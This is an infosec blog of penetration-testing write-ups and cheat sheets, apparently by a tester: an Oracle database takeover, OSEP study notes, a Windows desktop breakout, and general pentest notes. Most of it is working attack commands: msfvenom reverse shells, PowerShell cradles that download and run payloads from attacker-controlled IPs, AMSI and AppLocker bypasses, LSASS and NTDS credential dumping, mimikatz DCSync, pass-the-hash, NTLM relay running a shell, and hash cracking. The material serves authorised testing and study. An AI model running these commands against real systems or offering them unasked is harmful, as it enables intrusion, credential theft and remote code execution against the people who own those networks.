InfoSec Blog

Hacking Oracle in 2021

2021-11-26T00:00:00+00:00

I recently came across an Oracle database on an internal pen test and learned some new techniques which I thought I would share. This blog shows the process and path I used to compromise the database during my engagement.

Once a host has been found that is running Oracle the first step was to try and discover any SIDs using ODAT. ODAT is an open source tool designed to attack Oracle Database servers.

odat sidguesser -s <ip>

Now that we have found a valid SID, lets try and find some valid credentials. The following brute force script here was used to get default credentials. Brute force can also be done via the metasploit module “oracle_login”.

#!/bin/bash
INPUT=/tmp/oracle_defaults.csv
OLDIFS=$IFS
IFS=,
[ ! -f $INPUT ] && { echo "$INPUT file not found"; exit 99; }
while read comment number username password hash comment
do
 echo "string = $username:$password"
 sqlplus -L $username\/$password\@172.17.0.3:1521\/XE
done < $INPUT
IFS=$OLDIFS

It should be noted that not all default credentials are in the metasploit wordlist. A better list can be found here. In this case the default credentials CTXSYS:CTXSYS worked.

Now we have access to the database lets run the ODAT module ‘all’ which will run all modules to see if we can get command execution.

odat all -s <ip> -U CTXSYS -P CTXSYS -d XE

From the output above we can see various options but the one which stands out is the JAVA library. This module can allow us to get code execution using ‘java stored’ procedure (I won’t go into detail here as this attack vector has been covered many times before). We can now use ODAT to return a reverse shell by using this java module in ODAT.

odat java -s <target IP> -U CTXSYS -P CTXSYS -d XE --reverse-shell <local IP> <port>

From the reverse shell we can connect to the database as a sysdba and once connected we can grant our account sysdba privileges. This example shows a quick change to the SYS user password just for ease in the lab environment but this way is not recommended during a real engagement.

Connect to the database and change the password:

/opt/oracle/product/18c/dbhomeXE/bin/sqlplus / as sysdba

ALTER USER SYS IDENTIFIED BY SYS;

Now we know the SYS password we can dump the database credentials with ODAT.

odat passwordstealer -s <ip> --sysdba -U SYS -P SYS -d XE --get-passwords

Export the passwords into a file but remove most of the values and just keep the T value to pass it into hashcat for cracking.

sed 's/.*://' oracle.hashes | tee oracle.hashcat

Crack the hashes from the ODAT dump.

hashcat -m 12300 oracle.hashcat wordlist.txt --force

Links & Resources

tools

OSEP Study Notes

2021-06-11T00:00:00+00:00

OSEP Notes

msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 -f exe -o msf.exe

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 -f exe -o msf.exe

list encrypted options in msfvenom!

msfvenom --list encrypt

32bit csharp payload msfvenom

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.82 LPORT=443 -f csharp -o 32bit.cs

RDP

xfreerdp /u:<user> /d:<domain> /pth:<ntlm> /v:<ip>:3389 /dynamic-resolution

Metasploit

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST tun0; set LPORT 443;exploit -j"

Session passing from Covenant to Msf

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=8080 EXITFUNC=thread -f raw -o msf.bin

Inject <pid>

DotNetToJscript

.\DotNetToJScript.exe .\ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js

PowerShell

(New-Object System.Net.WebClient).DownloadFile('http://192.168.49.82/ClassLibrary1.dll','ClassLibrary1.dll')

powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.49.82/run.txt'))

Powershell tool Find-AVSignature

Find-AVSignature -StartByte 0 -EndByte max -Interval 10000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest1 -Verbose -Force

Covenant

powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://192.168.49.82/payload.ps1')"

iex (New-Object Net.WebClient).DownloadString("http://192.168.49.82/a.ps1"); iex (New-Object Net.WebClient).DownloadString("http://192.168.49.82/payload.ps1")

iex (New-Object Net.WebClient).DownloadString("http://192.168.49.82/a.ps1"); iex (New-Object Net.WebClient).DownloadString("http://192.168.49.82/msf64.ps1")

$string = 'iex (New-Object Net.WebClient).DownloadString("http://192.168.49.82/cradle.ps1")'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

Convert SID to hostname (Powerview or powermad)

ConvertFrom-SID <sid-value-here>

AppLocker Bypasses

certutil -encode AppLockerBypass.exe file.txt

Transfer with bitsadmin (not certutil as this gets flagged!)

bitsadmin /Transfer myJob http://192.168.49.82/file.txt

certutil -decode enc.txt Bypass.exe

Oneliner

bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt && certutil -decode  C:\users\student\enc.txt C:\users\student\Bypass.exe && del C:\users\student\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe

Windows

RDP lateral movement mimikatz

sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin"

SharpRDP - We can execute any program remotely with SharpRDP.exe

SharpRDP.exe computername=appsrv01 command=notepad username=DOMAIN\dave password=lab

Execute out meterpreter via powershell download cradle!

.\SharpRDP.exe computername=appsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.82/met.exe', 'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe" username=DOMAIN\dave password=lab

Mimikatz DC SYNC

lsadump::dcsync /domain:prod.DOMAIN.com /user:prod\krbtgt

Rubeus

Rubeus.exe monitor /interval:5 /filteruser:CDC01$

Rubeus can generate NTLM hash

.\Rubeus.exe hash /password:lab

Create a TGT for IISVC

.\Rubeus.exe asktgt /user:iissvc /domain:prod.DOMAIN.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

Linux

ansible2john format

python3 /usr/share/john/ansible2john.py test.yml

Crack ansible

hashcat test-ansible.hash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt

Search for ansible leaked passwords in syslog

cat /var/log/syslog | grep "password"

query DC from linux using kerberos cacche file

smbclient -k -U "DOMAIN.COM\administrator" //DC01.DOMAIN.COM/C$

Linux kerberos

sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow

sudo chown test:test /tmp/krb5cc_minenow

kdestroy

klist

export the variable

export KRB5CCNAME=/tmp/krb5cc_minenow

now check it worked!

klist

kvno SQLsvc/DC01.DOMAIN.com:1433

scp test@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow

export the variable as before

export KRB5CCNAME=/tmp/krb5cc_minenow

ssh test@linuxvictim -D 1080

#Impacket GetADUsers.py
proxychains python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -k -no-pass -dc-ip 192.168.82.5
DOMAIN.COM/Administrator

# get users SPNS
proxychains python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -k -no-pass -dc-ip 192.168.82.5 DOMAIN.COM/Administrator

‘proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py Administrator@DC01.DOMAIN.COM -k -no-pass’

pwsh

Encode the powershell cradle

$text = 'iex (New-Object Net.WebClient).DownloadString("http://192.168.49.82/amsi.ps1"); iex (New-Object Net.WebClient).DownloadString("http://192.168.49.82/msf64.ps1")'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText

Copy the base64 encoded text!

sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.82.6 -c 'powershell -enc <base64 output from powershell cradle!'

Session Passing

To session pass from Metasploit to Covenant you can create a GruntHTTP.exe - create shellcode with donut (/opt/donut)

donut HTTPGrunt.exe -e1 -a2 -b1 -f1 -x1 -o HTTPGrunt.bin

Then use the module “post/windows/manage/shellcode_inject”

set shellcode <.bin>
set session 
run 

Windows desktop breakout examples

2021-03-09T00:00:00+00:00

When I come across a locked down Windows desktop I usually go through a process of trying to click everything see where I can write to and what I can execute etc. Then attempt most of the techniques used from this great github repo UltimateAppLockerByPassList.

When I can’t run cmd or powershell the two examples below using rundll32 have worked many times in the past.

Using cmd.dll taken from Didier Stevens.

rundll32 shell32.dll,Control_RunDLL C:\location\of\reactos\cmd.dll

Using PowerShll.dll taken from PowerShll.dll

rundll32 PowerShll.dll,main -i

Usually the next step is to elevate privileges and my current go to is running SharpUp.

SharpUp audit

This shows that AlwaysInstallElevated registry keys are present. This can be checked manually via the commands below

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

Now we have an attack vector we can create a windows installer package file. This can be done many ways but for this blog I am going to demonstrate the use of adding a Covenant Grunt binary as a custom action inside Visual Studio.

Opening visual studio and start by creating a new project and selecting the setup wizard template. Change any project properties as necessary i.e target platform, author name. Add a new file to the project and import the Grunt binary. Then add a custom action to ensure the binary is executed on installation and change any custom action properties.

Once you have compiled the project and transferred to target but clicking on the msi just gives an error message saying blocked becuase of security restriction policy.

We can run it and get logs information to see what is happening but as suspected the software restriction policy is blocking the installation.
msiexec /q /i MSIprogram.msi /L*V! msilog.log

It is possible to host the file remotely and to run an msi file which has been renamed to .png as shown here.

msiexec /q /i http://192.168.159.1/SRPbypass.png

After running this a grunt running as SYSTEM should now be returned!

Links & Resources

Pentesting Notes

2020-03-04T00:00:00+00:00

Windows

Invoke-Inveigh -ConsoleOutput Y -HTTPPort 8080 -FileOutput Y -FileOutputDirectory .

certutil.exe -urlcache -split -f http://172.16.10.1/obfs.exe

LSASS dump without touching disk

net use x: \\mysmbserver\c$\
powershell -c rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id x:\lassdump.bin full

NTDS audit

# Dump NTDS.dit file using NTDSUtils
powershell ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\path\to\put\data\' q q"

ntdsaudit.exe ntds.dit -s SYSTEM -p pwdump.txt -u users.csv

Breakout

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe MSBuildShell.csproj

cmstp.exe /ni /s C:\Users\username\Desktop\cmstp.inf

rundll32 shell32.dll,Control_RunDLL \\192.168.0.4\sharez\cmd.dll

pcalua.exe -a C:\windows\system32\cmd.exe

Rubeus.exe asktgt /user:username /rc4:ntlm-hash

Rubeus.exe dump /service:krbtgt

PowerShell

IEX(New-Object Net.WebClient).downloadString('http://192.168.0.1/amsi.ps1')

$string = 'iex ((new-object net.webclient).downloadstring("http://payloadserverip/Amsibypass.ps1")); iex ((new-object net.webclient).downloadstring("http://payloadserverip/payload.ps1"))'

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('Domain\user', $SecPassword)

Use Egress-Asses for data expiltration detection capabilities.

https://github.com/FortyNorthSecurity/Egress-Assess

cd /opt/Egress-Assess/setup
$ sudo ./setup.sh
$ cd ..
$ sudo ./Egress-Assess.py --server http --server-port 8080

PowerShell Invoke-EgressAssess -Client http -DataType ni -IP 10.0.0.4 -Port 8080 -NoPing

Linux

snmpwalk -v 2c -c public <hostIP>

hping3 -c 1 --icmp-ts <ip-address>

sudo -u postgres psql -U postgres

python -m http.server 80

msfconsole -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.10.10; set lport 443; set ExitOn Session false; exploit -j"

impacket-smbserver -smb2support files .

Remove duplicate lines from the file awk '!seen[$0]++' filename

mitm6

mitm6 -i eth1 -d domain.name

ntlmrelayx -6 -smb2support -t smb://<target-ip> -e shell.exe

ntlmrelayx.py -6 -wh randomhostname.domain.local -t smb://<target-ip-to-redirect-auth-to> -l /tmp -socks -debug

proxychains python3 /opt/impacket/examples/smbclient.py domain/Administrator@192.168.0.77

Linux command to use powershell compatible encoded strings

echo "iex(command)" | iconv --to-code UTF-16LE | base64 -w 0

Pivoting

proxychains socat TCP4-LISTEN:3389,fork TCP4:10.10.10.15:3389

Search for a *.doc or *.pdf file

find / -type f $ -iname "*.doc" -o -iname "*.pdf" $ 2>/dev/null

Look for file with suid set

find / -perm u=s -type f 2>/dev/null

Mountable shares

showmount -e <IP>

mount -t nfs 192.168.0.25:/home /tmp/mnt/

curl -g [ipv6-addess-here]

vlan tagging

sudo modprobe 8021q

sudo vconfig add eth0 104.

sudo ip addr add 10.0.0.1/24 dev eth0.104

sudo ip link set up eth0.104

Covenant

Assembly /assemblyname:"SharpHound3" /parameters:"-c All -D domain.co.uk"

SharpUp audit

BypassUACGrunt powershell

MakeToken user domain.local Password

Rubeus Triage

Rubeus dump

Rubeus asktgt /user:users /rc4:ntlm-hash

Rubeus ptt /ticket:

DCSync DOMAIN\krbtgt

PortScan WS1,DC1 135,445,3389,4444,5985

shell msiexec /i C:\Windows\Temp\msi-installer.msi /qn

PowerShellRemotingCommand Computer "powershell -enc <base64>"

Assembly /assemblyname:"SharpGPOAbuse" /parameters:"--AddComputerTask --TaskName \"My Task\" --Author NT AUTHORITY\SYSTEM --Command \"cmd.exe\" --Arguments \"/c <powershell-payload>" --GPOName \"My GPO\""

Android

./emulator -avd <emulator-name> -writable-system -selinux disabled -qemu -enable-kvm --dns-server 8.8.8.8

adb root && adb remount

adb shell

adb reboot

adb install application.apk

adb logcat | grep "$(adb shell ps | grep <package-name> | awk '{print $2}')"

adb push frida-server /data/local/tmp/frida-server

adb shell "/data/local/tmp/frida-server &"

frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f com.packageappname --no-pause -U

Objection

pip3 install objection

objection --gadget "com.packagename" explore

android sslpinning disable

android hooking search classes com.application

Blog still in progress

2020-02-21T00:00:00+00:00

InfoSec Blog

Hacking Oracle in 2021

Links & Resources

OSEP Study Notes

OSEP Notes

Windows

Linux

Session Passing

Windows desktop breakout examples

Links & Resources

Pentesting Notes

Windows

Linux

Covenant

Android

Blog still in progress

InfoSec posts to come